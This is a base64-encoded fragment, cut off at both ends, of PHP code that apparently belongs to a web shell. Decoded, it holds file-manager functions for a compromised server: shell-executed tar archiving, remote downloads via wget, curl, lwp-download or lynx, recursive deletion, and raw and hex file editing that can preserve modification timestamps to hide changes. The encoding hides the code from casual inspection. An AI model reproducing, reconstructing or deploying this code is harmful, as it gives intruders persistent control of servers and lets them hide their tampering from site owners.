NoaXZlKCk7CgkJCWlmKCEkemlwLT5vcGVuKCRhcmNoaXZlLCAxKSkgcmV0dXJuICRzdGF0dXM7CgkJCWlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOwoJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7CgkJCQkkZmlsZSA9IHN0cl9yZXBsYWNlKGdldF9jd2QoKSwgJycsICRmaWxlKTsKCQkJCSRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7CgkJCQlpZihpc19kaXIoJGZpbGUpKXsKCQkJCQkkZmlsZXNJdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZmlsZSksIDEpOwoJCQkJCWZvcmVhY2goJGZpbGVzSXRlcmF0b3IgYXMgJGl0ZXJhdG9yKXsKCQkJCQkJJGl0ZXJhdG9yID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkaXRlcmF0b3IpOwoJCQkJCQlpZihpbl9hcnJheShzdWJzdHIoJGl0ZXJhdG9yLCBzdHJycG9zKCRpdGVyYXRvciwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkpIGNvbnRpbnVlOwoJCQkJCQlpZihpc19kaXIoJGl0ZXJhdG9yKSkgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJGZpbGUuJy8nLCAnJywgJGl0ZXJhdG9yLicvJykpOwoJCQkJCQllbHNlIGlmKGlzX2ZpbGUoJGl0ZXJhdG9yKSkgJHppcC0+YWRkRnJvbVN0cmluZyhzdHJfcmVwbGFjZSgkZmlsZS4nLycsICcnLCAkaXRlcmF0b3IpLCByZWFkX2ZpbGUoJGl0ZXJhdG9yKSk7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSAkemlwLT5hZGRGcm9tU3RyaW5nKGJhc2VuYW1lKCRmaWxlKSwgcmVhZF9maWxlKCRmaWxlKSk7CgkJCX0KCQkJaWYoJHppcC0+Z2V0U3RhdHVzU3RyaW5nKCkhPT1mYWxzZSkgJHN0YXR1cyA9IHRydWU7CgkJCSR6aXAtPmNsb3NlKCk7CgkJfQoJCXJldHVybiAkc3RhdHVzOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2NvbXByZXNzJykpewoJZnVuY3Rpb24gY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkZmlsZXMpewoJCWlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOwoJCWlmKCR0eXBlPT0nemlwJyl7CgkJCWlmKHppcCgkZmlsZXMsICRhcmNoaXZlKSkgcmV0dXJuIHRydWU7CgkJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCX0KCQllbHNlaWYoKCR0eXBlPT0ndGFyJyl8fCgkdHlwZT09J3Rhcmd6JykpewoJCQkkYXJjaGl2ZSA9IGJhc2VuYW1lKCRhcmNoaXZlKTsKCQkJJGxpc3RzQmFzZW5hbWUgPSBhcnJheV9tYXAoImJhc2VuYW1lIiwgJGZpbGVzKTsKCQkJJGxpc3RzID0gYXJyYXlfbWFwKCJ3cmFwX3dpdGhfcXVvdGVzIiwgJGxpc3RzQmFzZW5hbWUpOwoJCQlpZigkdHlwZT09J3RhcicpIGV4ZWN1dGUoInRhciBjZiBcIiIuJGFyY2hpdmUuIlwiICIuaW1wbG9kZSgiICIsICRsaXN0cykpOwoJCQllbHNlaWYoJHR5cGU9PSd0YXJneicpIGV4ZWN1dGUoInRhciBjemYgXCIiLiRhcmNoaXZlLiJcIiAiLmltcGxvZGUoIiAiLCAkbGlzdHMpKTsKCQkJaWYoaXNfZmlsZSgkYXJjaGl2ZSkpIHJldHVybiB0cnVlOwoJCQllbHNlIHJldHVybiBmYWxzZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29tcHJlc3MnKSl7CglmdW5jdGlvbiBkZWNvbXByZXNzKCR0eXBlLCAkYXJjaGl2ZSwgJHBhdGgpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJJHN0YXR1cyA9IGZhbHNlOwoJCWlmKGlzX2RpcigkcGF0aCkpewoJCQljaGRpcigkcGF0aCk7CgkJCWlmKCR0eXBlPT0ndW56aXAnKXsKCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKCQkJCQkkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKCQkJCQkkdGFyZ2V0ID0gJHBhdGguYmFzZW5hbWUoJGFyY2hpdmUsIi56aXAiKTsKCQkJCQlpZigkemlwLT5vcGVuKCRhcmNoaXZlKSl7CgkJCQkJCWlmKCFpc19kaXIoJHRhcmdldCkpIG1rZGlyKCR0YXJnZXQpOwoJCQkJCQlpZigkemlwLT5leHRyYWN0VG8oJHRhcmdldCkpICRzdGF0dXMgPSB0cnVlOwoJCQkJCQkkemlwLT5jbG9zZSgpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQllbHNlaWYoJHR5cGU9PSd1bnRhcicpewoJCQkJJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGFyIik7CgkJCQlpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsKCQkJCSRiZWZvcmUgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsKCQkJCWV4ZWN1dGUoInRhciB4ZiBcIiIuYmFzZW5hbWUoJGFyY2hpdmUpLiJcIiAtQyBcIiIuJHRhcmdldC4iXCIiKTsKCQkJCSRhZnRlciA9IGNvdW50KGdldF9hbGxfZmlsZXMoJHRhcmdldCkpOwoJCQkJaWYoJGJlZm9yZSE9JGFmdGVyKSAkc3RhdHVzID0gdHJ1ZTsKCQkJfQoJCQllbHNlaWYoJHR5cGU9PSd1bnRhcmd6Jyl7CgkJCQkkdGFyZ2V0ID0gIiI7CgkJCQlpZihzdHJwb3Moc3RydG9sb3dlcigkYXJjaGl2ZSksICIudGFyLmd6IikhPT1mYWxzZSkgJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGFyLmd6Iik7CgkJCQllbHNlaWYoc3RycG9zKHN0cnRvbG93ZXIoJGFyY2hpdmUpLCAiLnRneiIpIT09ZmFsc2UpICR0YXJnZXQgPSBiYXNlbmFtZSgkYXJjaGl2ZSwiLnRneiIpOwoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeHpmIFwiIi5iYXNlbmFtZSgkYXJjaGl2ZSkuIlwiIC1DIFwiIi4kdGFyZ2V0LiJcIiIpOwoJCQkJJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlpZigkYmVmb3JlIT0kYWZ0ZXIpICRzdGF0dXMgPSB0cnVlOwoJCQl9CgkJfQoJCXJldHVybiAkc3RhdHVzOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2Rvd25sb2FkJykpewoJZnVuY3Rpb24gZG93bmxvYWQoJHVybCAsJHNhdmVhcyl7CgkJaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKCQkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXJsKTsKCQlpZigkY29udGVudCA9IHJlYWRfZmlsZSgkdXJsKSl7CgkJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHVubGluaygkc2F2ZWFzKTsKCQkJaWYod3JpdGVfZmlsZSgkc2F2ZWFzLCAkY29udGVudCkpewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9CgkJJGJ1ZmYgPSBleGVjdXRlKCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgkJJGJ1ZmYgPSBleGVjdXRlKCJjdXJsICIuJHVybC4iIC1vICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgkJJGJ1ZmYgPSBleGVjdXRlKCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKCQlpZihpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKCQkkYnVmZiA9IGV4ZWN1dGUoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgkJcmV0dXJuIGZhbHNlOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9maWxlcGVybXMnKSl7CglmdW5jdGlvbiBnZXRfZmlsZXBlcm1zKCRmaWxlKXsKCQlpZigkcGVybXMgPSBAZmlsZXBlcm1zKCRmaWxlKSl7CgkJJGZsYWcgPSAndSc7CgkJaWYoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSRmbGFnID0gJ3MnOwoJCWVsc2VpZigoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApJGZsYWcgPSAnbCc7CgkJZWxzZWlmKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkkZmxhZyA9ICctJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSRmbGFnID0gJ2InOwoJCWVsc2VpZigoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApJGZsYWcgPSAnZCc7CgkJZWxzZWlmKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkkZmxhZyA9ICdjJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSRmbGFnID0gJ3AnOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDQwMCk/ICdyJzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMjAwKT8gJ3cnOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAxMDApPyAneCc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDA0MCk/ICdyJzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDIwKT8gJ3cnOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMTApPyAneCc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAwNCk/ICdyJzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDAyKT8gJ3cnOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDEpPyAneCc6Jy0nOwoJCXJldHVybiAkZmxhZzsKCQl9CgkJZWxzZSByZXR1cm4gIj8/Pz8/Pz8/Pz8/IjsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdmb3JtYXRfYml0JykpewoJZnVuY3Rpb24gZm9ybWF0X2JpdCgkc2l6ZSl7CgkJJGJhc2UgPSBsb2coJHNpemUpIC8gbG9nKDEwMjQpOwoJCSRzdWZmaXhlcyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwoJCXJldHVybiByb3VuZChwb3coMTAyNCwgJGJhc2UgLSBmbG9vcigkYmFzZSkpLDIpLiIgIi4kc3VmZml4ZXNbZmxvb3IoJGJhc2UpXTsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZmlsZXNpemUnKSl7CglmdW5jdGlvbiBnZXRfZmlsZXNpemUoJGZpbGUpewoJCSRzaXplID0gQGZpbGVzaXplKCRmaWxlKTsKCQlpZigkc2l6ZSE9PWZhbHNlKXsKCQkJaWYoJHNpemU8PTApIHJldHVybiAwOwoJCQlyZXR1cm4gZm9ybWF0X2JpdCgkc2l6ZSk7CgkJfQoJCWVsc2UgcmV0dXJuICI/Pz8iOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9maWxlbXRpbWUnKSl7CglmdW5jdGlvbiBnZXRfZmlsZW10aW1lKCRmaWxlKXsKCQlyZXR1cm4gQGRhdGUoImQtTS1ZIEg6aTpzIiwgZmlsZW10aW1lKCRmaWxlKSk7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVvd25lcicpKXsKCWZ1bmN0aW9uIGdldF9maWxlb3duZXIoJGZpbGUpewoJCSRvd25lciA9ICI/Oj8iOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CgkJCSRuYW1lID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSk7CgkJCSRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZmlsZSkpOwoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI6Ii4kZ3JvdXBbJ25hbWUnXTsKCQl9CgkJcmV0dXJuICRvd25lcjsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdybWRpcnMnKSl7CglmdW5jdGlvbiBybWRpcnMoJGRpciwgJGNvdW50ZXIgPSAwKXsKCQlpZihpc19kaXIoJGRpcikpICRkaXIgPSByZWFscGF0aCgkZGlyKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCWlmKCRkaCA9IG9wZW5kaXIoJGRpcikpewoJCQl3aGlsZSgoJGYgPSByZWFkZGlyKCRkaCkpIT09ZmFsc2UpewoJCQkJaWYoKCRmIT0nLicpJiYoJGYhPScuLicpKXsKCQkJCQkkZiA9ICRkaXIuJGY7CgkJCQkJaWYoQGlzX2RpcigkZikpICRjb3VudGVyICs9IHJtZGlycygkZik7CgkJCQkJZWxzZXsKCQkJCQkJaWYodW5saW5rKCRmKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoJGRoKTsKCQkJaWYocm1kaXIoJGRpcikpICRjb3VudGVyKys7OwoJCX0KCQlyZXR1cm4gJGNvdW50ZXI7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnY29weXMnKSl7CglmdW5jdGlvbiBjb3B5cygkc291cmNlICwgJHRhcmdldCAsJGM9MCl7CgkJJHNvdXJjZSA9IHJlYWxwYXRoKCRzb3VyY2UpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJaWYoJGRoID0gb3BlbmRpcigkc291cmNlKSl7CgkJCWlmKCFpc19kaXIoJHRhcmdldCkpIG1rZGlyKCR0YXJnZXQpOwoJCQkkdGFyZ2V0ID0gcmVhbHBhdGgoJHRhcmdldCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJaWYoaXNfZGlyKCRzb3VyY2UuJGYpKXsKCQkJCQkJY29weXMoJHNvdXJjZS4kZiwgJHRhcmdldC4kZiwgJGMpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQlpZihjb3B5KCRzb3VyY2UuJGYsICR0YXJnZXQuJGYpKSAkYysrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQljbG9zZWRpcigkZGgpOwoJCX0KCQlyZXR1cm4gJGM7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2FsbF9maWxlcycpKXsKCWZ1bmN0aW9uIGdldF9hbGxfZmlsZXMoJHBhdGgpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJJGZpbGVzID0gZ2xvYigkcGF0aC4nKicpOwoJCWZvcigkaSA9IDA7ICRpPGNvdW50KCRmaWxlcyk7ICRpKyspewoJCQlpZihpc19kaXIoJGZpbGVzWyRpXSkpewoJCQkJJHN1YmRpciA9IGdsb2IoJGZpbGVzWyRpXS5ESVJFQ1RPUllfU0VQQVJBVE9SLicqJyk7CgkJCQlpZihpc19hcnJheSgkZmlsZXMpICYmIGlzX2FycmF5KCRzdWJkaXIpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRzdWJkaXIpOwoJCQl9CgkJfQoJCXJldHVybiAkZmlsZXM7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncmVhZF9maWxlJykpewoJZnVuY3Rpb24gcmVhZF9maWxlKCRmaWxlKXsKCQkkY29udGVudCA9IGZhbHNlOwoJCWlmKCRmaCA9IEBmb3BlbigkZmlsZSwgInJiIikpewoJCQkkY29udGVudCA9ICIiOwoJCQl3aGlsZSghZmVvZigkZmgpKXsKCQkJICAkY29udGVudCAuPSBmcmVhZCgkZmgsIDgxOTIpOwoJCQl9CgkJfQoJCXJldHVybiAkY29udGVudDsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCd3cml0ZV9maWxlJykpewoJZnVuY3Rpb24gd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewoJCWlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpewoJCQlpZihmd3JpdGUoJGZoLCAkY29udGVudCkhPT1mYWxzZSkgcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCd2aWV3X2ZpbGUnKSl7CglmdW5jdGlvbiB2aWV3X2ZpbGUoJGZpbGUsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXA9J3RydWUnKXsKCQkkb3V0cHV0ID0gIiI7CgkJaWYoaXNfZmlsZSgkZmlsZSkpewoJCQkkZGlyID0gZGlybmFtZSgkZmlsZSk7CgkJCSRvd25lciA9ICIiOwoJCQlpZighaXNfd2luKCkpewoJCQkJJG93bmVyID0gIjx0cj48dGQ+T3duZXI8L3RkPjx0ZD4iLmdldF9maWxlb3duZXIoJGZpbGUpLiI8L3RkPjwvdHI+IjsKCQkJfQoJCQkkaW1hZ2VfaW5mbyA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOwoJCQkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkJCSRtaW1lID0gIiI7CgkJCSRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOwoJCQlpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCQkJJGZpbGVfZXh0ID0gdHJpbShzdWJzdHIoJGZpbGUsICRmaWxlX2V4dF9wb3MpLCIuIik7CgkJCQlpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpewoJCQkJCSRtaW1lID0gJHJlc1sxXTsKCQkJCX0KCQkJfQoJCQlpZigkdHlwZT09ImF1dG8iKXsKCQkJCWlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKSkgJHR5cGUgPSAnaW1hZ2UnOwoJCQkJLy9lbHNlaWYoc3RydG9sb3dlcihzdWJzdHIoJGZpbGUsLTMsMykpID09ICJwaHAiKSAkdHlwZSA9ICJjb2RlIjsKCQkJCWVsc2VpZighZW1wdHkoJG1pbWUpKSAkdHlwZSA9ICJtdWx0aW1lZGlhIjsKCQkJCWVsc2UgJHR5cGUgPSAicmF3IjsKCQkJfQoJCQkkY29udGVudCA9ICIiOwoJCQlpZigkdHlwZT09ImNvZGUiKXsKCQkJCSRobF9hcnIgPSBhcnJheSgKCQkJCQkJCSJobF9kZWZhdWx0Ij0+IGluaV9nZXQoJ2hpZ2hsaWdodC5kZWZhdWx0JyksCgkJCQkJCQkiaGxfa2V5d29yZCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQua2V5d29yZCcpLAoJCQkJCQkJImhsX3N0cmluZyI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuc3RyaW5nJyksCgkJCQkJCQkiaGxfaHRtbCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuaHRtbCcpLAoJCQkJCQkJImhsX2NvbW1lbnQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmNvbW1lbnQnKQoJCQkJCQkJKTsKCQkJCQoJCQkJCgkJCQkkY29udGVudCA9IGhpZ2hsaWdodF9zdHJpbmcocmVhZF9maWxlKCRmaWxlKSx0cnVlKTsKCQkJCWZvcmVhY2goJGhsX2FyciBhcyAkaz0+JHYpewoJCQkJCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIjxmb250IGNvbG9yPVwiIi4kdi4iXCI+IiwgIjxmb250IGNsYXNzPSciLiRrLiInPiIsICRjb250ZW50KTsKCQkJCQkkY29udGVudCA9IHN0cl9yZXBsYWNlKCI8c3BhbiBzdHlsZT1cImNvbG9yOiAiLiR2LiJcIj4iLCAiPHNwYW4gY2xhc3M9JyIuJGsuIic+IiwgJGNvbnRlbnQpOwoJCQkJfQoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImltYWdlIil7CgkJCQkkd2lkdGggPSAoaW50KSAkaW1hZ2VfaW5mb1swXTsKCQkJCSRoZWlnaHQgPSAoaW50KSAkaW1hZ2VfaW5mb1sxXTsKCQkJCSRpbWFnZV9pbmZvX2ggPSAiSW1hZ2UgdHlwZSA9IDxzcGFuIGNsYXNzPSdzdHJvbmcnPig8L3NwYW4+ICIuJGltYWdlX2luZm9bJ21pbWUnXS4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPik8L3NwYW4+PGJyPgoJCQkJCUltYWdlIFNpemUgPSA8c3BhbiBjbGFzcz0nc3Ryb25nJz4oIDwvc3Bhbj4iLiR3aWR0aC4iIHggIi4kaGVpZ2h0LiI8c3BhbiBjbGFzcz0nc3Ryb25nJz4gKTwvc3Bhbj48YnI+IjsKCQkJCWlmKCR3aWR0aCA+IDgwMCl7CgkJCQkJJHdpZHRoID0gODAwOwoJCQkJCSRpbWdsaW5rID0gIjxwPjxhIGlkPSd2aWV3RnVsbHNpemUnPgoJCQkJCTxzcGFuIGNsYXNzPSdzdHJvbmcnPlsgPC9zcGFuPlZpZXcgRnVsbCBTaXplPHNwYW4gY2xhc3M9J3N0cm9uZyc+IF08L3NwYW4+PC9hPjwvcD4iOwoJCQkJfQoJCQkJZWxzZSAkaW1nbGluayA9ICIiOwoJCQkJJGNvbnRlbnQgPSAiPGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj4iLiRpbWdsaW5rLiIKCQkJCQk8aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSd3aWR0aDoiLiR3aWR0aC4icHg7JyBzcmM9J2RhdGE6Ii4kaW1hZ2VfaW5mb1snbWltZSddLiI7YmFzZTY0LCIuYmFzZTY0X2VuY29kZShyZWFkX2ZpbGUoJGZpbGUpKS4iJyBhbHQ9JyIuJGZpbGUuIic+PC9jZW50ZXI+CgkiOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09Im11bHRpbWVkaWEiKXsKCQkJCSRjb250ZW50ID0gIjxjZW50ZXI+CgkJCQkJCQk8dmlkZW8gY29udHJvbHM+CgkJCQkJCQk8c291cmNlIHNyYz0nJyB0eXBlPSciLiRtaW1lLiInPgoJCQkJCQkJPC92aWRlbz4KCQkJCQkJCTxwPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtdWx0aW1lZGlhKCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicpO1wiPkxvYWQgTXVsdGltZWRpYSBGaWxlPC9zcGFuPjwvcD4KCQkJCQkJCTwvY2VudGVyPiI7CgkJCX0KCQkJZWxzZWlmKCR0eXBlPT0iZWRpdCIpewoJCQkJJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsKCQkJCSRjb250ZW50ID0gIjx0YWJsZSBpZD0nZWRpdFRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VkaXRGaWxlbmFtZScgY2xhc3M9J2NvbFNwYW4nIHZhbHVlPSciLmh0bWxfc2FmZSgkZmlsZSkuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2VkaXRfc2F2ZV9yYXcnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZWRpdF9zYXZlX3JhdygpO1wiPnNhdmU8L3NwYW4+PC90ZD48dGQgc3R5bGU9J3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnPjxkaXYgY2xhc3M9J2NCb3giLiRwcmVzZXJ2ZWNib3guIic+PC9kaXY+PHNwYW4+cHJlc2VydmUgbW9kaWZpY2F0aW9uIHRpbWVzdGFtcDwvc3Bhbj48c3BhbiBpZD0nZWRpdFJlc3VsdCc+PC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0nZWRpdElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9jdHJsX2VudGVyKHRoaXMsIGV2ZW50LCAnZWRpdF9zYXZlX3JhdycpO1wiPiIuaHRtbF9zYWZlKHJlYWRfZmlsZSgkZmlsZSkpLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCX0KCQkJZWxzZWlmKCR0eXBlPT0iaGV4Iil7CgkJCQkkcHJlc2VydmVjYm94ID0gKCRwcmVzZXJ2ZVRpbWVzdGFtcD09J3RydWUnKT8gIiBjQm94U2VsZWN0ZWQiOiIiOwoJCQkJJGNvbnRlbnQgPSAiPHRhYmxlIGlkPSdlZGl0VGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZWRpdEZpbGVuYW1lJyBjbGFzcz0nY29sU3BhbicgdmFsdWU9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZWRpdF9zYXZlX2hleCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJlZGl0X3NhdmVfaGV4KCk7XCI+c2F2ZTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0ndmVydGljYWwtYWxpZ246bWlkZGxlOyc+PGRpdiBjbGFzcz0nY0JveCIuJHByZXNlcnZlY2JveC4iJz48L2Rpdj48c3Bhbj5wcmVzZXJ2ZSBtb2RpZmljYXRpb24gdGltZXN0YW1wPC9zcGFuPjxzcGFuIGlkPSdlZGl0SGV4UmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdlZGl0SW5wdXQnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2N0cmxfZW50ZXIodGhpcywgZXZlbnQsICdlZGl0X3NhdmVfaGV4Jyk7XCI+Ii5iaW4yaGV4KHJlYWRfZmlsZSgkZmlsZSkpLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCX0KCQkJZWxzZSAkY29udGVudCA9ICI8cHJlPiIuaHRtbF9zYWZlKHJlYWRfZmlsZSgkZmlsZSkpLiI8L3ByZT4iOwoJCQkkb3V0cHV0IC49ICIKCTx0YWJsZSBpZD0ndmlld0ZpbGUnIGNsYXNzPSdib3h0YmwnPgoJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5GaWxlbmFtZTwvdGQ+PHRkPiIuaHRtbF9zYWZlKCRmaWxlKS4iPC90ZD48L3RyPgoJPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii5nZXRfZmlsZXNpemUoJGZpbGUpLiIgKCIuZmlsZXNpemUoJGZpbGUpLiIpPC90ZD48L3RyPgoJIi4kb3duZXIuIgoJPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+Ii5nZXRfZmlsZXBlcm1zKCRmaWxlKS4iPC90ZD48L3RyPgoJPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlY3RpbWUoJGZpbGUpKS4iPC90ZD48L3RyPgoJPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+Cgk8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZWF0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4KCTx0ciBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJz48dGQgY29sc3Bhbj0nMic+Cgk8c3BhbiBjbGFzcz0nbmF2aWdhdGUgYnV0dG9uJyBzdHlsZT0nd